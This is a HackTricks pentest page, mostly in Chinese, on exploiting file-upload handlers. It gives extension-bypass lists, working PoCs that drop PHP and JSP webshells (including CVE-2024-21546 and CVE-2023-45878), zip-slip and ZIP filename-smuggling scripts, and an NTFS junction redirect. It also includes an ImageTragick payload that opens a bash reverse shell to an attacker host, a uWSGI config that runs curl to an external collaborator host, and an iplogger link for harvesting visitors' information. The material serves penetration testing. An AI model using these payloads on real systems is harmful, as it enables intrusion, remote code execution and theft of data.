文件上传
Reading time: 36 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
文件上传 一般方法
其他有用的扩展名:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
绕过文件扩展名检查
- 如果应用了检查,先测试上面的扩展名。也要尝试使用一些大写字母:pHp, .pHP5, .PhAr ...
- 检查在执行扩展之前添加一个合法扩展(也可使用上面列出的扩展):
- file.png.php
- file.png.Php5
- 尝试在结尾添加特殊字符。可以使用 Burp 来对所有 ascii 和 Unicode 字符进行 bruteforce。(注意你也可以尝试使用之前提到的扩展)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- 试着通过欺骗服务端的扩展解析器来绕过保护,例如双写扩展或在扩展之间添加垃圾数据(null 字节)。你也可以使用之前的扩展来构造更好的 payload。
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 在前面的检测中再添加另一层扩展:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 尝试将执行扩展放在合法扩展之前,并希望服务器配置错误导致执行。(useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
- ex: file.php.png
- 在 Windows 下使用 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展之后、允许的扩展之前插入一个冒号字符“:”。结果是在服务器上会创建一个带有禁止扩展的空文件(例如 "file.asax:.jpg")。这个文件可能稍后通过其他技术(例如其短文件名)被编辑。“::$data” 模式也可以用来创建非空文件。因此,在该模式后面添加一个点字符也可能有助于进一步绕过限制(例如 "file.asp::$data.")
- 尝试突破文件名长度限制。合法扩展被截断,而恶意的 PHP 被保留。AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
有些 upload handlers 在保存文件名时会修剪或标准化尾随的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名验证:
- 使用合法的 image MIME 和 magic header(例如 PNG 的
\x89PNG\r\n\x1a\n)。 - 将上传的文件命名为以 PHP 扩展结尾并后接一个点,例如
shell.php.。 - 服务器会去掉尾随的点并保存为
shell.php,如果该文件被存放在可被 web 访问的目录(如默认的 public storage/storage/files/)中,则会被执行。
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
然后访问保存的路径(在 Laravel + LFM 中常见):
GET /storage/files/0xdf.php?cmd=id
绕过 Content-Type、Magic Number、Compression 与 Resizing
- 绕过 Content-Type 检查,通过将 Content-Type header 的 value 设置为:image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- 绕过 magic number 检查,通过在文件开头添加真实图像的bytes(混淆 file command)。或者将 shell 引入 metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\或者你也可以直接将 payload 插入到图像中:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - 如果对你的图像进行了压缩,例如使用一些标准的 PHP 库比如 PHP-GD,之前的技术将不起作用。但是,你可以使用 PLTE chunk technique defined here 插入一些能经受住压缩的文本。
- Github with the code
- 网页也可能对image进行resizing,例如使用 PHP-GD 的
imagecopyresized或imagecopyresampled函数。不过,你可以使用 IDAT chunk technique defined here 插入一些能经受住压缩的文本。 - Github with the code
- 另一种让 payload 在图像缩放后仍然存活 的技术,针对使用 PHP-GD 的
thumbnailImage。另外,你可以使用 tEXt chunk technique defined here 插入一些能经受住压缩的文本。 - Github with the code
Other Tricks to check
- 寻找可以将已上传文件重命名(以更改扩展名)的漏洞。
- 寻找 Local File Inclusion 漏洞以执行 backdoor。
- Possible Information disclosure:
- 将相同文件以相同文件名****多次(或同时)上传
- 上传一个与已存在的文件或文件夹同名的文件
- 上传名为 "." , "..", or "…" 的文件。例如,在 Apache 在 Windows 中,如果应用将上传文件保存在 "/www/uploads/" 目录,"." 文件名会在 "/www/" 目录创建一个名为 uploads” 的文件。
- 上传一个可能难以删除的文件,例如在 NTFS 中的 "…:.jpg"。(Windows)
- 在 Windows 中上传文件,其名称包含 invalid characters,例如
|<>*?”。(Windows) - 在 Windows 中使用 reserved(forbidden) 名称上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9。
- 还可以尝试上传一个可执行文件(.exe)或一个较不引人注意的 .html 文件,当受害者意外打开时会执行代码。
特殊扩展名技巧
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
.phar files are like the .jar for java, but for php, and can be used like a php file(用 php 执行,或在脚本中 include…)
.inc 扩展有时用于仅用于 import files 的 php 文件,因此在某些情况下,可能允许执行该扩展名。
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!
.png)
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
理解 uWSGI 的配置文件解析过程在执行 payload 时会触发该 payload。要使配置生效并被解析,uWSGI 进程必须重启(可能是在崩溃之后或由于 Denial of Service attack),或将该文件设置为 auto-reload。若启用,auto-reload 功能会在检测到更改后按指定间隔重新加载该文件。
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
必须理解 uWSGI 配置文件解析的宽松特性。具体而言,所述 payload 可以插入到二进制文件(例如 image 或 PDF)中,从而进一步扩大了潜在利用的范围。
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
未经身份验证的 Gibbon LMS 端点允许在 web 根目录内任意写入文件,通过写入 PHP 文件可导致 pre-auth RCE。易受影响的版本:直到并包括 25.0.01。
-
Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php -
Method: POST
-
Required params:
-
img: data-URI-like string:[mime];[name],[base64](server ignores type/name, base64-decodes the tail) -
path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php) -
gibbonPersonID: any non-empty value is accepted (e.g.,0000000001) -
端点:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php -
方法: POST
-
必需参数:
-
img:类似 data-URI 的字符串:[mime];[name],[base64](服务器忽略 type/name,对尾部进行 base64 解码) -
path:相对于 Gibbon 安装目录的目标文件名(例如poc.php或0xdf.php) -
gibbonPersonID:接受任意非空值(例如0000000001)
Minimal PoC to write and read back a file:
写入并读取文件的最小 PoC:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
上传一个最小的 webshell 并执行命令:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
说明:
- 该处理程序在按
;和,分割后对base64_decode($_POST["img"])进行解码,然后将字节写入$absolutePath . '/' . $_POST['path'],且不验证扩展名/类型。 - 结果代码以 web 服务用户身份运行(例如 XAMPP Apache on Windows)。
该漏洞的参考包括 usd HeroLab advisory 和 NVD 条目。见下方的 References 部分。
wget File Upload/SSRF Trick
在某些情况下,你可能会发现服务器使用 wget 来 下载文件 并允许你 指定 URL。在这些情况下,代码可能会检查下载文件的扩展名是否位于白名单中,以确保只会下载被允许的文件。然而,此检查可以被绕过。\
在 linux 中,文件名 的 最大 长度为 255,但是 wget 会将文件名截断为 236 个字符。你可以 *下载一个名为 "A"232+".php"+".gif" 的文件,该文件名将 绕过 该 检查(在此例中 ".gif" 是一个 有效 的扩展名),但 wget 会 重命名 该文件为 "A"*232+".php"。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
通过 NTFS junctions (Windows) 逃逸上传目录
(进行此攻击需要对 Windows 机器的本地访问权限)当上传被存储在 Windows 的按用户子文件夹下(例如 C:\Windows\Tasks\Uploads<id>\)且你能控制该子文件夹的创建/删除时,你可以将其替换为一个指向敏感位置(例如 webroot)的 directory junction。后续的上传将被写入目标路径,如果目标会解释 server-side code,就可能导致代码执行。
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
备注
- mklink /J 会创建一个 NTFS 目录联接(重新解析点)。web 服务器的账号必须能够跟随该联接并在目标位置具有写权限。
- 这会重定向任意文件写入;如果目标位置会执行脚本(PHP/ASP),则可能导致 RCE。
- 防御:不要允许可写的上传根目录位于 C:\Windows\Tasks 或类似位置并被攻击者控制;阻止联接创建;在服务器端验证扩展名;将上传存储在独立卷上或使用禁止执行的 ACLs。
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
某些 upload/ingest 处理器会将原始请求体写入由用户控制的查询参数构造的文件系统路径。若该处理器同时支持 Content-Encoding: gzip 并未对目标路径进行规范化/验证,你可以将 directory traversal 与 gzipped 有效负载结合起来,将任意字节写入可由 web 提供的目录并获得 RCE(例如,在 Tomcat 的 webapps 目录下放置一个 JSP)。
通用利用流程:
- 准备服务器端负载(例如,最小化的 JSP webshell)并对字节进行 gzip 压缩。
- 发送一个 POST,其中某个路径参数(例如 token)包含用于逃逸目标文件夹的 path traversal,file 指示要持久化的文件名。设置 Content-Type: application/octet-stream 和 Content-Encoding: gzip;消息体为压缩后的负载。
- 浏览至写入的文件以触发执行。
示例请求:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
然后触发:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
注意事项
- 目标路径因安装而异(例如 /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ 在某些堆栈中)。任何可通过 web 访问并执行 JSP 的文件夹都可以利用。
- Burp Suite’s Hackvertor extension 可以从你的 payload 生成正确的 gzip body。
- 这是一个纯粹的 pre-auth arbitrary file write → RCE 模式;它不依赖于 multipart parsing。
缓解措施
- 在服务器端派生上传目标;不要信任来自客户端的路径片段。
- 对路径进行规范化并强制检查解析后的路径保持在允许的基目录内。
- 将上传存储在不可执行的卷上,并拒绝从可写路径执行脚本。
工具
- Upload Bypass 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用各种 bug bounty 技巧来简化识别和利用漏洞的过程,确保对 web 应用进行全面评估。
Corrupting upload indices with snprintf quirks (historical)
一些使用 snprintf() 或类似方式将单文件上传构建成多文件数组的遗留上传处理器,可能被诱导伪造 _FILES 结构。由于 snprintf() 行为中的不一致性和截断,精心构造的单次上传在服务器端可能表现为多个带索引的文件,从而混淆假定严格结构的逻辑(例如将其视为多文件上传并走向不安全的分支)。虽然现在比较罕见,但这种 “index corruption” 模式偶尔会在 CTF 和较旧的代码库中再次出现。
从文件上传到其他漏洞
- 将 filename 设置为
../../../tmp/lol.png并尝试实现 path traversal - 将 filename 设置为
sleep(10)-- -.jpg,你可能能够实现 SQL injection - 将 filename 设置为
<svg onload=alert(document.domain)>可以实现 XSS - 将 filename 设置为
; sleep 10;以测试某些命令注入(更多 command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- 尝试来自 https://github.com/allanlw/svg-cheatsheet 的 different svg payloads
- Famous ImageTrick vulnerability
- 如果你能指示 web 服务器从某个 URL 抓取一张图片,可以尝试滥用 SSRF。如果该 image 将被 保存 在某个 public 站点,你也可以指定来自 https://iplogger.org/invisible/ 的 URL,从而 steal information of every visitor。
- XXE and CORS bypass with PDF-Adobe upload
- 精心构造的 PDF 可导致 XSS:以下页面展示了如何 inject PDF data to obtain JS execution 的方法:../xss-cross-site-scripting/pdf-injection.md。如果你可以上传 PDF,可以按照该说明准备会执行任意 JS 的 PDF。
- 上传 [eicar](https://secure.eicar.org/eicar.com.txt) 内容以检查服务器是否有任何 antivirus
- 检查上传文件时是否存在任何 size limit
以下是通过上传可以实现的十大用例列表(来源 here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
魔术头字节
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
请参阅 https://en.wikipedia.org/wiki/List_of_file_signatures 获取其他文件类型的签名。
Zip/Tar 文件在服务端自动解压的上传
如果你可以上传一个会在服务器内被解压的 ZIP,你可以做两件事:
Symlink
上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时就会访问到被链接的文件:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
在不同文件夹解压
在解压缩过程中意外在目录中创建文件是一个严重问题。尽管最初认为这种设置可以防止通过恶意文件上传触发的操作系统级命令执行,但 ZIP 归档格式对层级压缩的支持和目录遍历能力可以被利用。攻击者可以通过操纵目标应用的解压功能绕过限制,从而逃出受保护的上传目录。
可在 evilarc on GitHub 找到用于生成此类文件的自动化利用工具。该实用工具的用法如下:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
此外,symlink trick with evilarc 也是一种可选方法。如果目标是定位像 /flag.txt 这样的文件,应在你的系统中创建指向该文件的 symlink。这可以保证 evilarc 在运行时不会遇到错误。
下面是一个用于创建恶意 zip 文件的 Python 代码示例:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
滥用压缩进行 file spraying
欲了解更多细节 请查看原始文章:: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: 编写 PHP 代码以执行通过
$_REQUEST传递的命令。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: 创建多个文件并将这些文件打包为 zip 归档。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: 使用 vi 或十六进制编辑器更改 zip 内部的文件名,将 "xxA" 替换为 "../" 以进行目录遍历。
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
当后端使用 PHP 的 ZipArchive 验证 ZIP 条目,但 extraction 使用原始名称写入文件系统时,你可以通过在文件名字段中插入一个 NUL (0x00) 来走私一个被禁止的扩展。ZipArchive 将条目名称视为 C‑string 并在第一个 NUL 处截断;文件系统则写入完整名称,丢弃 NUL 之后的所有内容。
高层流程:
- 准备一个合法的容器文件(例如,一个有效的 PDF),在一个流中嵌入一个微小的 PHP stub,以便 magic/MIME 保持为 PDF。
- 将其命名为
shell.php..pdf,zip 打包,然后用十六进制编辑器修改 ZIP 的 local header 和 central directory 中的文件名,把.php之后的第一个.替换为0x00,得到shell.php\x00.pdf。 - 依赖 ZipArchive 的验证器会“看到”
shell.php .pdf并允许它;而解压器会将shell.php写入磁盘,如果 upload 文件夹是可执行的,则会导致 RCE。
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
说明
- 更改两个文件名出现的位置(local 和 central directory)。有些工具还会添加额外的 data descriptor 条目 — 如果存在,请调整所有 name 字段。
- payload 文件仍必须通过 server‑side magic/MIME sniffing。将 PHP 嵌入 PDF 流可以保持头部有效。
- 适用于 enum/validation 路径与 extraction/write 路径在字符串处理上存在不一致的情况。
堆叠/串联的 ZIPs(解析器不一致)
将两个有效的 ZIP 文件串联会生成一个 blob,不同的解析器会关注不同的 EOCD 记录。许多工具会定位最后一个 End Of Central Directory (EOCD),而某些库(例如在特定工作流中的 ZipArchive)可能会解析它们找到的第一个 archive。如果验证在枚举时使用第一个 archive,而提取使用另一个遵从最后 EOCD 的工具,则良性 archive 可能通过检查,而恶意的则被提取出来。
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
滥用模式
- 创建一个良性归档(允许的类型,例如 PDF)和第二个包含被阻止扩展名的归档(例如
shell.php)。 - 将它们串联:
cat benign.zip evil.zip > combined.zip。 - 如果服务器使用一个 parser 验证(看到 benign.zip),但用另一个 parser 解压(处理 evil.zip),被阻止的文件就会出现在解压路径中。
ImageTragic
Upload 此内容并使用图像扩展名以 exploit 该漏洞 (ImageMagick , 7.0.1-1)(来自 exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
在 PNG 中嵌入 PHP Shell
将 PHP Shell 嵌入到 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。来自 PHP-GD 的 imagecopyresized 和 imagecopyresampled 函数在此情境下尤其相关,因为它们通常分别用于调整图像尺寸和重采样。嵌入的 PHP Shell 在这些操作下仍能保持不受影响,这在特定用例下是一个重要优势。
关于此技术的详细探讨、方法论及潜在应用,请参见以下文章:"Encoding Web Shells in PNG IDAT chunks"。该资源提供了对该过程及其影响的全面理解。
更多信息: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot 文件
Polyglot 文件在网络安全中是一个独特的工具,它们像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 GIFAR,它既可以作为 GIF 又可以作为 RAR 存在。这类文件并不限于这种组合;像 GIF 与 JS 或 PPT 与 JS 这样的组合也可行。
polyglot 文件的核心用途在于其能够规避基于文件类型的安全检测。许多应用会只允许上传某些文件类型——例如 JPEG、GIF 或 DOC——以降低潜在危险格式(如 JS、PHP 或 Phar 文件)带来的风险。然而,polyglot 通过同时满足多种文件格式的结构要求,能够悄然绕过这些限制。
尽管适应性强,polyglot 也有局限。例如,尽管一个 polyglot 可能同时包含 PHAR (PHp ARchive) 与 JPEG 的结构,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名有严格限制,polyglot 的结构双重性可能不足以保证上传成功。
更多信息: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
像上传 PDF 一样上传有效的 JSON
如何通过伪装为 PDF 文件来上传一个有效的 JSON 即使不被允许,从而绕过文件类型检测(技术来自 这篇博客文章):
mmmagiclibrary:只要%PDFmagic bytes 位于前 1024 字节内即被视为有效(示例见文章)pdfliblibrary:在 JSON 的某个字段中加入一个伪 PDF 格式,使该库认为这是一个 pdf(示例见文章)filebinary:它可以从文件中读取最多 1048576 字节。只需创建一个比这更大的 JSON,这样它就无法将内容解析为 json,然后在 JSON 内放入真实 PDF 的起始部分,它就会认为这是一个 PDF
参考资料
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
-
https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
-
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
-
https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
-
usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
-
HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
-
0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks